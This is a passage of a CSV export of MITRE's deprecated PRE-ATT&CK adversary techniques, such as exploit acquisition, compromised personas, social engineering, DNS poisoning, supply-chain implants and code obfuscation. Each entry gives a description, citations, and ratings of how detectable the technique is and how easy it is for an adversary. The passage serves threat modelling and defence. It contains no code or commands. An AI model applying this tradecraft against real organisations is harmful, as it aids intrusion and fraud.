to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1005,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349). - -An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1349', external_id='T1349'), ExternalReference(source_name='NYTStuxnet', description='William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', url='https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'), ExternalReference(source_name='NationsBuying', description='Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', url='https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html')]",attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Build or acquire exploits,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but development will be performed on their local systems.",,Yes,Several exploit repositories and tool suites exist for re-use and tailoring.,,,,,PRE-T1126,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343). - -For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1343', external_id='T1343'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'), ExternalReference(source_name='Hacked Social Media Accounts', description='Marcus Habert. (2015, November 8). What Happens to Hacked Social Media Accounts. Retrieved March 28, 2017.')]",attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Choose pre-compromised persona and affiliated accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.,,Yes,It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.,,,,,PRE-T1120,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.** - -Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1388', external_id='T1388'), ExternalReference(source_name='CylanceOpCleaver', description='CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.'), ExternalReference(source_name='DailyTechAntiSec', description=""Jason Mick. (2011, July 12). AntiSec Exposes U.S. Soldiers' S/Ns, Passwords, Vows Attack on Monsanto. Retrieved March 9, 2017."")]",attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-03-30 14:16:12.162000+00:00,Compromise of externally facing system,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.",,Yes,DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.,,,False,,PRE-T1165,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1268', external_id='T1268'), ExternalReference(source_name='SEAttackVectors', description='Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'), ExternalReference(source_name='BeachSE2003', description='Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.')]",attack-pattern--af358cad-eb71-4e91-a752-236edc237dae,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Conduct social engineering,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,,Yes,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,,,,,PRE-T1045,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345). - -A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1345', external_id='T1345'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Create custom payloads,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.,,No,"Specialized tools exist for research, development, and testing of virus/malware payloads.",,,,,PRE-T1122,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1382', external_id='T1382'), ExternalReference(source_name='Google DNS Poisoning', description='Cindy Liu. (2016, March 30). Google DNS Poisoning Follows Brief Unblocking. Retrieved March 31, 2017.'), ExternalReference(source_name='DNS Poisoning China', description='John Leyden. (2014, January 21). DNS poisoning slams web traffic from millions in China into the wrong hole. Retrieved March 31, 2017.'), ExternalReference(source_name='Mexico Modem DNS Poison', description='Paul Oliveria. (2008, January 11). Targeted Attack in Mexico: DNS Poisoning via Modems. Retrieved April 1, 2017.')]",attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:19:39.311000+00:00,DNS poisoning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.",,Yes,Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.,,,False,,PRE-T1159,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1284', external_id='T1284'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'), ExternalReference(source_name='Schneier-cloud', description='Bruce Schneier. (2017, April 5). APT10 and Cloud Hopper. Retrieved May 9, 2017.'), ExternalReference(source_name='Computerworld-suppliers', description='Michael Kan. (2017, April 4). Chinese hackers go after third-party IT suppliers to steal data. Retrieved May 9, 2017.')]",attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine 3rd party infrastructure services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.,,Yes,Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.,,,,,PRE-T1061,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259). - -Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1259', external_id='T1259'), ExternalReference(source_name='CuckoosEgg', description=""Cliff Stoll. (1089). The Cuckoo's Egg. Retrieved August 8, 2017.""), ExternalReference(source_name='CuckoosEggWikipedia', description=""Wikipedia contributors. (2017, January 18). The Cuckoo's Egg. Retrieved March 5, 2017.""), ExternalReference(source_name='KGBComputerMe', description='WBGH Nova. (1990, October 3). The KGB, the Computer and Me. Retrieved March 5, 2017.')]",attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine external network trust dependencies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.",,No,"Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks. - -If completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. - -With no other access, this is hard for an adversary to do completely from a remote vantage point.",,,,,PRE-T1036,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244). - -The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1244', external_id='T1244'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'), ExternalReference(source_name='JP3-60', description='Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'), ExternalReference(source_name='JP3-12R', description='Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'), ExternalReference(source_name='DoD Cyber 2015', description='Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.')]",attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='target-selection')]",2020-10-26 13:42:49.342000+00:00,Determine secondary level tactical element,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",,Yes,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,,,,,PRE-T1021,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255). - -Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1255', external_id='T1255'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Discover target logon/email address format,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.,,Yes,Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.,,,,,PRE-T1032,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286). - -Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1286', external_id='T1286'), ExternalReference(source_name='FriedDumpsters', description='Robert B. Fried. (n.d.). Dumpsters: Beware of Treasures. Retrieved March 5, 2017.')]",attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Dumpster dive,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Strong physical security and monitoring will detect this behavior if performed on premises.,,Yes,Not difficult if waste is placed in an unsecured or minimally secured area before collection.,,,,,PRE-T1063,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).** - -The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1377', external_id='T1377'), ExternalReference(source_name='GoogleCrawlerSQLInj', description='PETER BRIGHT. (2013, November 6). Google crawler tricked into performing SQL injection attacks using decade-old technique. Retrieved March 9, 2017.')]",attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:20:54.394000+00:00,Exploit public-facing application,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.",,Yes,"Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.",,,False,,PRE-T1154,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365). - -During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1365', external_id='T1365'), ExternalReference(source_name='McDRecall', description='Tash Shifrin. (2006, October 16). Malware forces McDonald’s recall of giveaway MP3s. Retrieved March 9, 2017.'), ExternalReference(source_name='SeagateMaxtor', description='Brandon Hill. (2007, November 14). Seagate Serves External HDDs with a Side of Virus. Retrieved March 9, 2017.')]",attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,Hardware or software supply chain implant,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.",,No,"Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.",,,,,PRE-T1142,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272). - -Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1272', external_id='T1272'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.')]",attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify business relationships,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.,,Yes,Made easier by today's current social media.,,,,,PRE-T1049,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278). - -Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1278', external_id='T1278'), ExternalReference(source_name='JobPostingThreat', description='Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify job postings and needs/gaps,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public source external to the defender's organization.,,Yes,Very public by design.,,,,,PRE-T1055,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263). - -Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1263', external_id='T1263'), ExternalReference(source_name='OSFingerprinting2014', description='InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.'), ExternalReference(source_name='NMAP WAF NSE', description='Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.')]",attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify security defensive capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).",,No,"The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).",,,,,PRE-T1040,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264). - -Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1264', external_id='T1264'), ExternalReference(source_name='SANSRemoteAccess', description='Jason Ragland. (2010, January 18). Remotely Accessing Sensitive Resources. Retrieved March 5, 2017.')]",attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify technology usage patterns,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Physical observations, OSINT for remote access instructions, and other techniques are not detectable.",,Yes,"Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.",,,,,PRE-T1041,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252). - -A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1252', external_id='T1252'), ExternalReference(source_name='man traceroute', description='Linux Man Page. (n.d.). traceroute(8) - Linux man page. Retrieved April 2, 2017.'), ExternalReference(source_name='Shodan Tutorial', description='A Shodan Tutorial and Primer Daniel Miessler. (n.d.). A Shodan Tutorial and Primer. Retrieved April 2, 2017.')]",attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Map network topology,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.,,Yes,Various available tools and data sources for scouting and detecting network topologies.,,,,,PRE-T1029,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316). - -Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1316', external_id='T1316'), ExternalReference(source_name='Goodin300InBitcoins', description='Dan Goodin. (2013, October 17). You’re infected—if you want to see your data again, pay us $300 in Bitcoins. Retrieved March 6, 2017.')]",attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Non-traditional or less attributable payment options,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.,,Yes,Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.,,,,,PRE-T1093,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319). - -Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1319', external_id='T1319'), ExternalReference(source_name='CylanceOpCleaver', description='CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.')]",attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Obfuscate or encrypt code,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Detecting encryption is easy, decrypting/deobfuscating is hard.",,Yes,Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.,,,,,PRE-T1096,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281). - -Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: 